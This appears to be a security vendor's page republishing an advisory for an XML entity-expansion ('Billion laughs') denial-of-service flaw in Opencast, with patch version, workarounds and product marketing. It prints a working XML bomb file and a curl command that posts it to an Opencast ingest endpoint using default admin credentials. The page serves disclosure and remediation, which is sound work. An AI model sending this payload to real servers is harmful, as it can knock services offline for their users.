GHSA-9gwx-9cwp-5c2m is a high-severity (CVSS 8.1) CWE-776 vulnerability in org.opencastproject:opencast-kernel. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-9gwx-9cwp-5c2m is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Billion laughs attack (XML bomb)
Real-World Exposure
org.opencastproject:opencast-kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.
Consider an XML file (createMediaPackage.xml) like this:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
<!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
<!ELEMENT title (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
<title>&lol5;</title>
<media/>
<metadata/>
<attachments/>
<publications/>
</mediapackage>
Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:
curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
-F 'mediapackage=<createMediaPackage.xml' \
-F sourceFlavors="" \
-F sourceTags="" \
-F deleteExternal="" \
-F tagsAndFlavor='' \
-o out.xml
Additional notes:
- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
- Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
- To exploit this, users need to have ingest privileges, limiting the group of potential attackers
Patches
The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.
Workarounds
There is no known workaround for this issue.
References
- Billion laughs attack explained
- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________
For more information
If you have any questions or comments about this advisory:
- Open an issue in our issue tracker
- Email us at [email protected]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.opencastproject:opencast-kernel | all versions | 9.6 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.opencastproject:opencast-kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.opencastproject:opencast-kernel to 9.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9gwx-9cwp-5c2m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9gwx-9cwp-5c2m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9gwx-9cwp-5c2m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9gwx-9cwp-5c2m in your dependencies?
O3 detects GHSA-9gwx-9cwp-5c2m across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.